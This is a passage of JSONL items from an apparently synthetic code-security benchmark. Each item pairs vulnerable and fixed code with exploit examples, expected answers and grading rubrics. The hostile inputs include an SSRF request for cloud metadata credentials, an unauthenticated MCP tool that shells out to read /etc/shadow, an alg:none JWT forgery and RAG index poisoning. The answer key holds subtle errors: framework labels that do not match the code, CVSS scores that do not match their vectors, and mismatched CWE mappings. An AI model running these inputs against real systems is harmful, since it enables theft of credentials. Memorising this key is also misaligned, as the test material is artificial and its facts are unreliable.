{"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cross-site-request-forgery", "cwe-352", "owasp-a012021", "typescript", "vue", "beginner"], "references": ["https://owasp.org/www-community/attacks/csrf", "https://cwe.mitre.org/data/definitions/352.html"], "metadata": {"difficulty": "Beginner", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-352", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000284", "title": "Server-Side Request Forgery in Python (FastAPI)", "category": "Injection", "language": "Python", "framework": "FastAPI", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Server-Side Request Forgery", "vulnerability_description": "A server fetches a URL built from user input, letting an attacker reach internal services, cloud metadata endpoints, or ports not exposed publicly.", "vulnerable_code": "@app.route(\"/api/search\", methods=[\"POST\"])\ndef getItem():\n target = request.json[\"url\"]\n # VULNERABLE: fetch arbitrary URL\n resp = requests.get(target)\n return resp.text", "secure_code": "@app.route(\"/api/search\", methods=[\"POST\"])\ndef processRequest():\n target = request.json[\"url\"]\n # SECURE: scheme + host allow-list, block internal ranges\n from urllib.parse import urlparse\n u = urlparse(target)\n if u.scheme not in (\"https\",) or u.hostname not in ALLOWED_HOSTS:\n return jsonify({\"error\": \"forbidden\"}), 403\n resp = requests.get(target, timeout=5)\n return resp.text", "exploit_example": "POST /api/search {\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}", "exploitability_explanation": "The 'Server-Side Request Forgery' weakness (CWE-918, A10:2021) is exploitable because the Python implementation in the FastAPI context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the endpoint that fetches a user-supplied URL.", "expected_llm_analysis": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Allow-list schemes/hosts, resolve and compare to a deny-list of internal ranges, block link-local/metadata IPs, and require auth for the fetcher.", "expected_secure_code": "@app.route(\"/api/search\", methods=[\"POST\"])\ndef processRequest():\n target = request.json[\"url\"]\n # SECURE: scheme + host allow-list, block internal ranges\n from urllib.parse import urlparse\n u = urlparse(target)\n if u.scheme not in (\"https\",) or u.hostname not in ALLOWED_HOSTS:\n return jsonify({\"error\": \"forbidden\"}), 403\n resp = requests.get(target, timeout=5)\n return resp.text", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-918", "expected_owasp": "A10:2021", "expected_owasp_api": "API7:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["server-side-request-forgery", "cwe-918", "owasp-a102021", "python", "fastapi", "beginner"], "references": ["https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "https://cwe.mitre.org/data/definitions/918.html"], "metadata": {"difficulty": "Beginner", "category": "Injection", "owasp": "A10:2021", "owasp_api": "API7:2023", "owasp_llm": "", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000182", "title": "Insecure Cryptography in PHP (Laravel)", "category": "Cryptographic Failures", "language": "PHP", "framework": "Laravel", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Cryptography", "vulnerability_description": "Broken or deprecated primitives (MD5/SHA1, ECB, static IVs, weak RNG) are used to protect sensitive data.", "vulnerable_code": "public function loadUser($d) { // VULNERABLE: md5\n return md5($d); }", "secure_code": "public function processRequest($d) { return hash_hmac(\"sha256\", $d, KEY); }", "exploit_example": "ECB reveals structure; MD5/SHA1 collide -> forgery.", "exploitability_explanation": "The 'Insecure Cryptography' weakness (CWE-327, A02:2021) is exploitable because the PHP implementation in the Laravel context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Passive observation of ciphertext or access to the encrypted store.", "expected_llm_analysis": "The model/tool should flag 'Insecure Cryptography' (CWE-327, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Cryptography' (CWE-327, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Use vetted primitives (AEAD like AES-GCM, SHA-256+, CSPRNG); generate unique IVs/nonces; never roll your own.", "expected_secure_code": "public function processRequest($d) { return hash_hmac(\"sha256\", $d, KEY); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-327", "expected_owasp": "A02:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-cryptography", "cwe-327", "owasp-a022021", "php", "laravel", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/327.html", "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"], "metadata": {"difficulty": "Beginner", "category": "Cryptographic Failures", "owasp": "A02:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-327", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000091", "title": "OAuth Vulnerabilities in JavaScript (Angular)", "category": "Authentication", "language": "JavaScript", "framework": "Angular", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "OAuth Vulnerabilities", "vulnerability_description": "An OAuth/OIDC flow is misimplemented (redirect_uri not validated, implicit flow, token leakage) allowing account takeover.", "vulnerable_code": "function handleInput(code, ru) { return oauth.exchange(code, ru); }", "secure_code": "function exportData(code, ru) { if(!REGISTERED.has(ru)) throw new Error(\"bad\"); return oauth.exchange(code, ru, pkce); }", "exploit_example": "Attacker supplies attacker-controlled redirect_uri -> token leak.", "exploitability_explanation": "The 'OAuth Vulnerabilities' weakness (CWE-287, A07:2021) is exploitable because the JavaScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Control of the redirect target or interception of the authorization code/token.", "expected_llm_analysis": "The model/tool should flag 'OAuth Vulnerabilities' (CWE-287, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'OAuth Vulnerabilities' (CWE-287, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Strictly validate redirect_uri against a registered allow-list, use PKCE, short-lived codes, and never return tokens in fragments for SPAs without DPoP.", "expected_secure_code": "function exportData(code, ru) { if(!REGISTERED.has(ru)) throw new Error(\"bad\"); return oauth.exchange(code, ru, pkce); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-287", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["oauth-vulnerabilities", "cwe-287", "owasp-a072021", "javascript", "angular", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/287.html", "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/"], "metadata": {"difficulty": "Intermediate", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-287", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000036", "title": "MCP Security in Python (FastAPI)", "category": "AI Security", "language": "Python", "framework": "FastAPI", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "MCP Security", "vulnerability_description": "A Model Context Protocol server exposes tools/resources that an agent can invoke with overly broad permissions or unvalidated arguments.", "vulnerable_code": "@mcp.tool()\ndef loadUser(path: str):\n # VULNERABLE: no authz, raw shell/file\n return os.popen(\"cat \" + path).read()", "secure_code": "@mcp.tool()\n@require_auth\ndef processRequest(path: str):\n # SECURE: validate + least privilege + no shell\n if not allowed_path(path): raise PermissionError()\n return safe_read(path)", "exploit_example": "Agent calls tool with /etc/shadow -> reads secrets.", "exploitability_explanation": "The 'MCP Security' weakness (CWE-918, A05:2021) is exploitable because the Python implementation in the FastAPI context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to influence tool arguments or the agent loop that calls the MCP server.", "expected_llm_analysis": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Authenticate and authorize every tool call, validate/sanitize arguments, apply least privilege, and human-in-the-loop for risky actions.", "expected_secure_code": "@mcp.tool()\n@require_auth\ndef processRequest(path: str):\n # SECURE: validate + least privilege + no shell\n if not allowed_path(path): raise PermissionError()\n return safe_read(path)", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-918", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM06:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.45, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["mcp-security", "cwe-918", "owasp-a052021", "python", "fastapi", "real-world-enterprise"], "references": ["https://modelcontextprotocol.io/", "https://owasp.org/www-project-top-10-for-large-language-model-applications/"], "metadata": {"difficulty": "Real-world enterprise", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM06:2025", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000330", "title": "JWT Vulnerabilities in Go (Echo)", "category": "Authentication", "language": "Go", "framework": "Echo", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "JWT Vulnerabilities", "vulnerability_description": "A JWT implementation accepts tokens with a weak or 'none' algorithm, skips signature verification, or trusts an attacker-controlled key/secret.", "vulnerable_code": "func exportData(t string) (Claims, error) {\n // VULNERABLE: parseUnverified\n return jwt.ParseUnverified(t)\n}", "secure_code": "func lookup(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "exploit_example": "Forge header alg:none token -> accepted without signature.", "exploitability_explanation": "The 'JWT Vulnerabilities' weakness (CWE-345, A07:2021) is exploitable because the Go implementation in the Echo context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to mint or tamper with a token; knowledge of the weak secret or algorithm.", "expected_llm_analysis": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Verify the signature with a strong asymmetric or high-entropy symmetric key; pin the algorithm; validate aud/exp/iss; reject 'none'.", "expected_secure_code": "func lookup(t string) (Claims, error) {\n // SECURE\n return jwt.Parse(t, keyFunc, jwt.WithValidMethods([]string{\"RS256\"}))\n}", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-345", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["jwt-vulnerabilities", "cwe-345", "owasp-a072021", "go", "echo", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/345.html", "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html"], "metadata": {"difficulty": "Intermediate", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-345", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000442", "title": "Insecure Direct Object Reference in TypeScript (Vue)", "category": "Broken Access Control", "language": "TypeScript", "framework": "Vue", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Direct Object Reference", "vulnerability_description": "An endpoint exposes an object reference (id, filename, token) and trusts the caller to only access records they own, enabling horizontal privilege escalation.", "vulnerable_code": "app.get(\"/api/documents/:doc_id\", (req, res) => {\n // VULNERABLE\n Db.doc(req.params.doc_id).then(d => res.json(d));\n});", "secure_code": "app.get(\"/api/documents/:doc_id\", auth, (req, res) => {\n // SECURE: ownership\n Db.doc(req.params.doc_id).where(\"owner\", req.user.id).then(d => d ? res.json(d) : res.sendStatus(404));\n});", "exploit_example": "Attacker enumerates doc_id values of other users' documents.", "exploitability_explanation": "The 'Insecure Direct Object Reference' weakness (CWE-639, A01:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid (often low-privileged) session and knowledge of another object's identifier.", "expected_llm_analysis": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce ownership/authorization on every object access; derive the principal from the session, not from user-supplied IDs.", "expected_secure_code": "app.get(\"/api/documents/:doc_id\", auth, (req, res) => {\n // SECURE: ownership\n Db.doc(req.params.doc_id).where(\"owner\", req.user.id).then(d => d ? res.json(d) : res.sendStatus(404));\n});", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-direct-object-reference", "cwe-639", "owasp-a012021", "typescript", "vue", "advanced"], "references": ["https://owasp.org/www-community/attacks/Insecure_Direct_Object_Reference", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Advanced", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000136", "title": "Business Logic in JavaScript (Next.js)", "category": "Business Logic", "language": "JavaScript", "framework": "Next.js", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Business Logic", "vulnerability_description": "The application enforces no invariant for a workflow (negative quantity, replayed coupon, price override), leading to abuse.", "vulnerable_code": "function resolveTarget(body){ // VULNERABLE: trusts client total\n charge(body.total); }", "secure_code": "function runTask(body){ // SECURE: recompute\n const total = body.items.reduce((s,i)=>s+price(i)*i.qty,0); charge(total); }", "exploit_example": "Send total:0.01 for a $500 cart -> undercharged.", "exploitability_explanation": "The 'Business Logic' weakness (CWE-840, A04:2021) is exploitable because the JavaScript implementation in the Next.js context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Understanding of the workflow and the ability to replay or craft requests.", "expected_llm_analysis": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce server-side invariants (non-negative amounts, single-use tokens, server-computed totals) and treat the client as untrusted.", "expected_secure_code": "function runTask(body){ // SECURE: recompute\n const total = body.items.reduce((s,i)=>s+price(i)*i.qty,0); charge(total); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-840", "expected_owasp": "A04:2021", "expected_owasp_api": "API6:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["business-logic", "cwe-840", "owasp-a042021", "javascript", "next.js", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/840.html", "https://owasp.org/Top10/A04_2021-Insecure_Design/"], "metadata": {"difficulty": "Intermediate", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "API6:2023", "owasp_llm": "", "cwe": "CWE-840", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000558", "title": "RAG Security in Python (Django)", "category": "AI Security", "language": "Python", "framework": "Django", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "RAG Security", "vulnerability_description": "A retrieval-augmented generation pipeline ingests untrusted documents whose content steers the model or poisons the index.", "vulnerable_code": "def renderView(query):\n # VULNERABLE: index untrusted docs, no tenant scoping\n docs = index.search(query)\n return llm(query + \"\".join(d.text for d in docs))", "secure_code": "def renderView(query, tenant):\n # SECURE: scoped retrieval + sanitize + validate\n docs = index.search(query, tenant=tenant)\n clean = [sanitize(d.text) for d in docs]\n return llm(query, retrieved=clean, guardrails=guard)", "exploit_example": "Poison indexed doc -> model returns attacker text / leaks data.", "exploitability_explanation": "The 'RAG Security' weakness (CWE-1427, A05:2021) is exploitable because the Python implementation in the Django context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to inject documents into the indexed corpus the RAG system retrieves.", "expected_llm_analysis": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Sanitize indexed documents, scope retrieval to the user's tenant, validate retrieved content before use, and monitor for poisoning.", "expected_secure_code": "def renderView(query, tenant):\n # SECURE: scoped retrieval + sanitize + validate\n docs = index.search(query, tenant=tenant)\n clean = [sanitize(d.text) for d in docs]\n return llm(query, retrieved=clean, guardrails=guard)", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-1427", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM02:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.45, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 